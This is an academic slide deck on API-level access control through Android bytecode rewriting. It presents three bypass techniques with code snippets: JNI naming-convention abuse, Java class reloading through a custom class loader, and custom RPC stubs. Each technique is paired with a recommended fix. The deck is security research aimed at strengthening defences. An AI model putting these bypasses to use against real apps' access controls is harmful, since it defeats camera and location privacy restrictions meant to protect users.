Hao Hao Syracuse University Vicky Singh Syracuse University Wenliang Du Syracuse University Agenda Introduction on API-level Access Control using Bytecode Rewriting Analysis on Existing Works Attacks Recommendations Android Permission System Current Android install-time permission system Application Android API Privileged Resources Check Permissions Coarse-grained Permissions e.g., INTERNET permission API-level Access Control Impose fine-grained access control Instrument applications Bytecode rewriting Native library rewriting Modify Android platform Flexibility Rich context information Easy deployment Existing Works Bytecode rewriting Improving privacy on android smartphones through in-vivo bytecode instrumentation. A. Bartel, J. Klein, K. Allix, Y. Traon, and M. Monperrus. I-arm-droid: A rewriting framework for in-app reference monitors for android applications. B. Davis, B. Sanders, A. Khodaverdian, and H. Chen. Dr. android and Mr. hide: Fine-grained security policies on unmodified android. J. Jeon, K. K. Micinski, and J. A. Vaughan Application-centric security policies on unmodified android. N. Reddy, J. Jeon, J. Vaughan, T. Millstein, and J. Foster Objective Systematic evaluation to assess the effectiveness of API-level access control using bytecode rewriting on Android platform API-level Access Control Using Bytecode Rewriting Design Secure Wrapper Application Android API Privileged Resources Implementation Original App.apk Dalvik Bytecode Static Analysis Dalvik Bytecode Rewriting Repackage and Resigning Secure App.apk Android API Architecture System Server Process Application Process Dalvik Virtual Machine Secure Wrapper Application Android APIs Java Native Interface Native Shared Library Kernel Space Linux Kernel Binder System Services Privileged Resources Dalvik Virtual Machine Effectiveness of API-level Access Control System Server Process Application Process 3 Dalvik Virtual Machine Secure Wrapper Android APIs Application 2 1 4 Java Native Interface Native Shared Library Kernel Space Linux Kernel Binder System Services Privileged Resources Dalvik Virtual Machine Path 2: Invoke Native Libraries Directly Background: Java Native Interface Enable communications between Java code and native myLib.so code. JNIEXPORT jlong Usage Java_edu_com_MyClass_myFunc( JNIEnv* env, package edu.com; public class MyClass { native public long myFunc(); static { System.loadLibrary("myLib"); } } jobject thiz); static JNINativeMethod method_table [] = {{ "myFunc", "(J)J", (void *) myFunc_Implementation }}; extern "C" jint JNI_OnLoad(JavaVM* vm, ... ) { jclass c = env->FindClass("edu/com/MyClass"); env->RegisterNatives(c, method_table, 1); } Path 2: Exploit JNI Naming Convention Objective Invoke a native library function without going through its corresponding Java API to evade the restriction enforced by the secure wrapper. Application Methods Secure Wrapper Android APIs JNI Shared Libraries JNI Path 2: Exploit JNI Naming Convention package edu.com; public class MyClass { native public long my_Func(); } Attempts 1: (Fail) package edu.com.MyClass; public class my { native public long Func(); } Attempts 2: (Success) JNIEXPORT jlong Java_edu_com_MyClass_my_Func( JNIEnv* env, jobject thiz); JNIEXPORT jlong Java_edu_com_MyClass_my_1Func( JNIEnv* env, jobject thiz); package edu.com.MyClass; public class my { native long 1Func(); static { System.loadLibrary(’myLib’); } } Path 2: Case Study In sqlite_jni library, we found functions with the "_1" pattern in the names. By invoking SQLite.Database.error.1string we successfully invoked Java_SQLite_Database_error_1string. package SQLite.Database; public class error { public static native String 1string(...); static{ System.loadLibrary(’sqlite_jni’); } JNIEXPORT jstring JNICALL } Java_SQLite_Database_error_1string(JNIEnv *env, …) { sqlite_jni.so … } Path 2: Exploit Java Class Reloading Objective modify the implementation of the APIs that the wrapper is trying to protect. Application Secure Wrapper Customized Android APIs JNI Shared Libraries Class Loader Path 2: Exploit Java Class Reloading Attempts 1: (Fail) use DexClassLoader to load redefined class package android.hardware; public class Camera{ final public void someFunc() { //Calling the privileged function privilegedFunc(); } native void privilegedFunc(); } DexClassLoader classLoader = new DexClassLoader ("Camera.apk", ..., getClassLoader()); Class mClass = classLoader.loadClass("android.hardware.Camera"); android.hardware.Camera c = (android.hardware.Camera)mClass.newInstance(); //Access the privileged native code through someFunc() c.someFunc(); Class cannot be loaded again Path 2: Exploit Java Class Reloading Attempts 2: (Success) Use user-define class loader package android.hardware; public class Camera{ final public void someFunc() { //Calling the privileged function privilegedFunc(); } native void privilegedFunc(); } Override loading policy public class MyDexLoader extends BaseDexClassLoader { // Constructor omitted @Override public Class<?> loadClass(String s) { Class c; try { c = super.findClass(s); return c; } catch (ClassNotFoundException e) { // handling the exceptions } return null; } } Path 2: Case Study Performed our attack on a camera application. Bytecode rewriter enforced finer-grained access control on method Camera.takePicture public class SecureCamera{ public static void takePicture(Camera camera, ...){ Time now = new Time(); now.setToNow(); if(now.hour > 8 && now.hour < 18) { camera.takePicture(...); }}} Take pictures between 8am to 6pm reload redefined android.hardware.Camera class into a new class loader. package android.hardware; public class Camera { public void takeMyPicture(...) {...}} Path 2: Case Study Associate native Java methods of Camera class with corresponding native library functions. registers native functions with Camera Java class //Create a customized class loader MyDexLoader ld = new MyDexLoader(...); //Load redefined Camera class Class c = ld.loadClass("android.hardware.Camera"); Class util = ld.loadClass("com.android.internal.util.WithFramework"); Method m = util.getDeclaredMethod("registerNatives", ...); m.invoke(...); Then attackers can use their customized class definition //Invoke takeMyPicture method using reflection m = c.getDeclaredMethod("takeMyPicture", ...); m.invoke(...); ... } Path 2: Recommendations Recommendations for Exploit JNI Naming Convention If any Java methods start with numbers, bytecode rewriter should remove the digit as it is illegal. Recommendations for Exploit Java Class Reloading One possible way is bytecode rewriter should restrict all the invocations of methods within the call chain from findClass in the class BaseDexClassLoader to loadClass in DexFile. Path 3: Exploit Customized RPC Stubs Objective Applications code can directly communicate with the system services without going through APIs that invoke RPC stubs. Application Customized RPC Stubs Secure Wrapper Native Shared Library Android APIs Attack write attackers own RPC stub to communicate with System Service Path 3: Case Study Evaluated on a geolocation application. Bytecode rewriter enforced fine access control policy on method getLastKnownLocation. class SecureLocationManager extends LocationManager{ public Location getLastKnownLocation(...) { Location loc = super.getLastKnownLocation(...); if(loc.getLatitude()>60&&loc.getLatitude()<70&& loc.getLongtitude()>140&&loc.getLongtitude() <160) { return loc; }} Retrieve location information when the location is within Alaska. Path 3: Case Study Attackers can introduce customized RPC with different method signature. package my.location; /* User-defined RPC stub class */ public interface LocMgr extends android.os.IInterface { public static abstract class Stub extends android.os.Binder implements my.location.LocMgr {...}} Use customized RPC with different method signature to bypass access control placed on getLastKnownLocation API. import my.location.LocMgr; IBinder b=android.os.ServiceManager.getService(LOCATION_SERVICE); LocMgr sLocationManger = LocMgr.Stub.asInterface(b); Location loc = sLocationManger.getLastKnownLocation(...); Path 3: Recommendation The fix is to apply the API-level access control on android.os.ServiceManager’s getService API, so application’s Java code cannot use this API to get system services. Conclusion Our work manifests the need to address all the above attacks to fulfill an effective API-level access control using bytecode rewriting. Questions?